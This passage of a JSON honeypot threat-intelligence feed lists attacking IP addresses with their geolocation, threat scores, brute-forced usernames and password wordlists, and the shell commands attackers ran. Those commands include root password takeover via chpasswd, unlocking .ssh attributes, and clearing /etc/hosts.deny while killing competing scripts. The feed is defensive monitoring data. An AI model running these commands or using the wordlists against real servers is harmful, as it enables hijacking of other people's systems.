        "123456789Aa",
        "147258",
        "1qaz@WSX@@",
        "2024",
        "321123",
        "5tgb!@",
        "6yhn!@#",
        "A1234567891011",
        "Aa112211.",
        "Admin15",
        "Ali123",
        "CCdd000",
        "DDaa000"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"ftpuser19\\nvJgBP3DX2N8R\\nvJgBP3DX2N8R\\n\"|passwd",
        "echo \"odooodoo\\ncL21az7FHMV1\\ncL21az7FHMV1\\n\"|passwd",
        "echo \"root:B0IZxtEk1wB0\"|chpasswd|bash",
        "echo \"root:J6hvxJTd3BBF\"|chpasswd|bash",
        "echo \"root:xLSJRqXLBBBi\"|chpasswd|bash",
        "echo \"root:xunRiyPz64Rz\"|chpasswd|bash",
        "echo \"vpn123\\nYfbUcyMLdzNu\\nYfbUcyMLdzNu\\n\"|passwd",
        "echo -e \"ftpuser19\\nvJgBP3DX2N8R\\nvJgBP3DX2N8R\"|passwd|bash",
        "echo -e \"odooodoo\\ncL21az7FHMV1\\ncL21az7FHMV1\"|passwd|bash",
        "echo -e \"vpn123\\nYfbUcyMLdzNu\\nYfbUcyMLdzNu\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 29802,
      "as_org": "HIVELOCITY, Inc.",
      "threat_score": 44.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 1057,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T12:32:07.352000+00:00",
        "last_seen_30d": "2026-04-23T23:43:54.480000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 859,
        "Suricata": 198
      }
    },
    "128.14.225.164": {
      "attack_count": 623,
      "first_seen": "2026-04-01T09:32:36.618Z",
      "last_seen": "2026-04-15T06:43:25.475Z",
      "sessions": 78,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "admin",
        "dev",
        "frappe",
        "postgres",
        "qa",
        "ali",
        "allinone",
        "david",
        "git",
        "guilherme",
        "odoo8",
        "omega",
        "opc",
        "publicuser",
        "sammy",
        "server",
        "steam"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "1qaz2wsx3edc$rfv",
        "1z2x3c4v5b6n",
        "2wsx3edc$RFV",
        "40028922",
        "66666",
        "7u8i9o0p",
        "Abc-123456",
        "Abcd1234567.",
        "Admin09",
        "Cloud@1234",
        "Frappe1",
        "Hello123",
        "Hf123456",
        "P@ss2024!",
        "P@ssw0rd!!",
        "P@ssw0rd@2025",
        "Pass@2025"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"qa\\n3Mu9YtJloTwr\\n3Mu9YtJloTwr\\n\"|passwd",
        "echo \"root:X6CCB7cR71Mo\"|chpasswd|bash",
        "echo \"root:htlLdSotv58I\"|chpasswd|bash",
        "echo \"root:qhKnoMoVJ4UZ\"|chpasswd|bash",
        "echo -e \"qa\\n3Mu9YtJloTwr\\n3Mu9YtJloTwr\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 26.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.1,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 804,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T09:32:36.618000+00:00",
        "last_seen_30d": "2026-04-15T06:44:33.158000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 623,
        "Suricata": 181
      }
    },
    "118.193.61.170": {
      "attack_count": 535,
      "first_seen": "2026-04-12T10:29:39.175Z",
      "last_seen": "2026-04-23T17:39:13.047Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "n8n",
        "postgres",
        "ftptest",
        "ftpuser",
        "soporte",
        "arkserver",
        "dev",
        "laravel",
        "lubuntu",
        "mango",
        "remoto",
        "sammy",
        "server",
        "steam",
        "teamspeak3",
        "testuser",
        "tim"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "123456789",
        "159357",
        "1qaz2wsxE",
        "20232023",
        "2026123",
        "AAbb1234",
        "Aa111111111",
        "Aa112211.",
        "AsdAsd",
        "Changeme_123",
        "Dev15",
        "Ftpuser30",
        "N8n$",
        "N8n20!",
        "P@ssWord",
        "Postgres05"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456789\\nOhto5ksv4jlf\\nOhto5ksv4jlf\\n\"|passwd",
        "echo \"n8n04!\\nsoQLLP7Y79u0\\nsoQLLP7Y79u0\\n\"|passwd",
        "echo \"root:e384faXOltm1\"|chpasswd|bash",
        "echo \"ubuntu=123654\\ndUMZ1o2R4b8y\\ndUMZ1o2R4b8y\\n\"|passwd",
        "echo -e \"123456789\\nOhto5ksv4jlf\\nOhto5ksv4jlf\"|passwd|bash",
        "echo -e \"n8n04!\\nsoQLLP7Y79u0\\nsoQLLP7Y79u0\"|passwd|bash",
        "echo -e \"ubuntu=123654\\ndUMZ1o2R4b8y\\ndUMZ1o2R4b8y\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 38.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.3,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 670,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T10:29:39.175000+00:00",
        "last_seen_30d": "2026-04-23T17:40:17.891000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 535,
        "Suricata": 135
      }
    },
    "45.43.55.121": {
      "attack_count": 500,
      "first_seen": "2026-04-02T18:52:31.909Z",
      "last_seen": "2026-04-11T22:19:23.940Z",
      "sessions": 53,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "ftptest",
        "webmin",
        "frappe",
        "free",
        "lek",
        "md",
        "server",
        "sftp_user",
        "steam"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "10221022",
        "123456",
        "123456789AA",
        "1qaz@WSX..",
        "55555",
        "AAA123456789",
        "Admin#1234",
        "Cl123456",
        "Cl123456@",
        "Frappe11",
        "Heslo@2026",
        "Jf@123456",
        "P@$$w0rd1234",
        "P@$$w0rd666",
        "P@ss2026",
        "P@ssword123",
        "Passw0rd@12345"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"AAA123456789\\npWabbsBijmZ8\\npWabbsBijmZ8\\n\"|passwd",
        "echo \"ftptesttest\\nrcshirBErRw4\\nrcshirBErRw4\\n\"|passwd",
        "echo \"root:Qy9RBdgEwK8t\"|chpasswd|bash",
        "echo \"webmin\\nAt2WiwrkboLQ\\nAt2WiwrkboLQ\\n\"|passwd",
        "echo -e \"AAA123456789\\npWabbsBijmZ8\\npWabbsBijmZ8\"|passwd|bash",
        "echo -e \"ftptesttest\\nrcshirBErRw4\\nrcshirBErRw4\"|passwd|bash",
        "echo -e \"webmin\\nAt2WiwrkboLQ\\nAt2WiwrkboLQ\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 17.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.0,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 625,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T18:52:31.909000+00:00",
        "last_seen_30d": "2026-04-11T22:20:29.765000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 500,
        "Suricata": 125
      }
    },
    "38.114.121.110": {
      "attack_count": 430,
      "first_seen": "2026-04-02T05:00:32.149Z",
      "last_seen": "2026-04-10T02:00:49.718Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "odoo",
        "sammy",
        "server",
        "deploy",
        "jitendra",
        "production",
        "test",
        "ubuntu",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0310",
        "12",
        "159753",
        "1Qazxsw2",
        "20250920",
        "987789",
        "A12345678910",
        "A12345691",
        "ABCabc123",
        "Aa1",
        "Admin#@!",
        "K33p3r!@#$",
        "Mj!@#$%^",
        "Odoo5",
        "P@ssw0rd1983",
        "P@sww0rd",
        "Power123",
        "Qazwsx9999@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Odoo5\\neCRVeMNbAx05\\neCRVeMNbAx05\\n\"|passwd",
        "echo \"root:WCaD8b3JwPED\"|chpasswd|bash",
        "echo \"root:aHHF0nGW8KAY\"|chpasswd|bash",
        "echo -e \"Odoo5\\neCRVeMNbAx05\\neCRVeMNbAx05\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 63023,
      "as_org": "GTHost",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.4,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 550,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T05:00:32.149000+00:00",
        "last_seen_30d": "2026-04-10T02:01:58.957000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 430,
        "Suricata": 120
      }
    },
    "179.33.210.213": {
      "attack_count": 395,
      "first_seen": "2026-04-08T09:14:55.543Z",
      "last_seen": "2026-04-20T20:07:00.591Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "test",
        "ubuntu",
        "odoo",
        "akshay",
        "dbuser",
        "ftpuser2",
        "git-admin",
        "oracle",
        "steam",
        "tushar"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "10202640",
        "102030",
        "12345678",
        "781220",
        "88888888",
        "@123456",
        "Aa1234567",
        "Alibaba123",
        "Odoo06",
        "Qq!123456",
        "Qwer!@#$",
        "ZXCasdqwe123",
        "akshay",
        "dbuser@123",
        "deploy@123",
        "frappe12!",
        "git-admin",
        "oRACLE"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Aa1234567\\n4po02lBlq5oU\\n4po02lBlq5oU\\n\"|passwd",
        "echo \"frappe12!\\nsLhBshHMJkqF\\nsLhBshHMJkqF\\n\"|passwd",
        "echo \"root:h5kkw2hPOzHJ\"|chpasswd|bash",
        "echo \"root@123\\n7yXgQ7HYFe1C\\n7yXgQ7HYFe1C\\n\"|passwd",
        "echo -e \"Aa1234567\\n4po02lBlq5oU\\n4po02lBlq5oU\"|passwd|bash",
        "echo -e \"frappe12!\\nsLhBshHMJkqF\\nsLhBshHMJkqF\"|passwd|bash",
        "echo -e \"root@123\\n7yXgQ7HYFe1C\\n7yXgQ7HYFe1C\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Medell\u00edn",
      "asn": 3816,
      "as_org": "COLOMBIA TELECOMUNICACIONES S.A. ESP BIC",
      "threat_score": 33.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.7,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 469,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T09:14:55.543000+00:00",
        "last_seen_30d": "2026-04-20T20:08:10.665000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 395,
        "Suricata": 74
      }
    },
    "103.76.120.204": {
      "attack_count": 367,
      "first_seen": "2026-04-02T00:09:12.520Z",
      "last_seen": "2026-04-02T01:25:52.538Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1233218613",
        "123456781",
        "12345@",
        "60606060",
        "Google.com",
        "Letmein@1",
        "Qweasd.123",
        "Root1234%^&*",
        "aa147258369",
        "admini",
        "asdfzxcv1234",
        "j123456",
        "magenta",
        "master@123",
        "release",
        "temppass123",
        "vpn123",
        "vps@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:072tgeuhONpK\"|chpasswd|bash",
        "echo \"root:2tpQLxD8TQfc\"|chpasswd|bash",
        "echo \"root:Ljj8c10PHKjd\"|chpasswd|bash",
        "echo \"root:o0PSyydoWNTa\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 431,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T00:09:12.520000+00:00",
        "last_seen_30d": "2026-04-02T01:26:54.883000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 367,
        "Suricata": 64
      }
    },
    "128.1.163.95": {
      "attack_count": 330,
      "first_seen": "2026-04-06T18:52:23.907Z",
      "last_seen": "2026-04-06T19:38:29.143Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "hik",
        "odoo",
        "test",
        "cent",
        "claude",
        "developers",
        "dmdba",
        "git",
        "it",
        "postgres",
        "tan",
        "teamspeak3",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0000",
        "1",
        "123456",
        "123456qaZ",
        "1qazxsw2#",
        "Claude27",
        "Florinlaur2025",
        "Hik@2025",
        "Password123",
        "Qwert123456!",
        "Root!@#456",
        "Root2026$",
        "Root26",
        "ZAQ!2wsx$",
        "cent",
        "developers",
        "gittest",
        "manager"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Hik@2025\\nllVRNE5bE7vL\\nllVRNE5bE7vL\\n\"|passwd",
        "echo \"root:FCH4oeGkUw0V\"|chpasswd|bash",
        "echo \"root:jVl3G14G2l4s\"|chpasswd|bash",
        "echo -e \"Hik@2025\\nllVRNE5bE7vL\\nllVRNE5bE7vL\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 21859,
      "as_org": "Zenlayer Inc",
      "threat_score": 7.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 401,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T18:52:23.907000+00:00",
        "last_seen_30d": "2026-04-06T19:39:34.403000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 330,
        "Suricata": 71
      }
    },
    "135.125.103.253": {
      "attack_count": 262,
      "first_seen": "2026-04-05T09:52:27.802Z",
      "last_seen": "2026-04-05T10:55:35.091Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "postgres",
        "administrator",
        "bot",
        "david",
        "git",
        "kt",
        "liam",
        "odoo",
        "pacs",
        "richard",
        "svn",
        "test",
        "test8",
        "testuser",
        "teszt",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345.asdf",
        "123456",
        "1qazxsw2",
        "2025!",
        "A123456B",
        "Changeme",
        "None",
        "Odoo!2026",
        "Qwe1",
        "Root07",
        "Root2023..",
        "admin1234567@#",
        "bot29",
        "developer",
        "gitgitgit",
        "kt@2026",
        "liam"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"developer\\nfHnPHanjSq5J\\nfHnPHanjSq5J\\n\"|passwd",
        "echo \"root:NDYorMmwqEpT\"|chpasswd|bash",
        "echo -e \"developer\\nfHnPHanjSq5J\\nfHnPHanjSq5J\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 332,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T09:52:27.802000+00:00",
        "last_seen_30d": "2026-04-05T10:56:40.949000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 70
      }
    },
    "52.224.109.126": {
      "attack_count": 262,
      "first_seen": "2026-04-12T19:22:03.367Z",
      "last_seen": "2026-04-12T20:03:09.796Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "user",
        "appuser",
        "deploy",
        "ftpuser",
        "gera",
        "jack",
        "userftp",
        "youssef"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234qwer",
        "1QAZ2wsx3EDC",
        "1q2w3e4r",
        "1qaz",
        "2233",
        "Abcd123456789!@#",
        "CCaa111",
        "Change_123",
        "Frappe09",
        "Ftpuser12",
        "Qazwsx1111!@",
        "Qwer2025",
        "XXqq111",
        "ZAQ!2wsx2021#$",
        "gera",
        "hadoop",
        "qazwsx111111#$"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"2233\\nYjf8KhanU1eO\\nYjf8KhanU1eO\\n\"|passwd",
        "echo \"root:ofdhxzkVeiMJ\"|chpasswd|bash",
        "echo -e \"2233\\nYjf8KhanU1eO\\nYjf8KhanU1eO\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
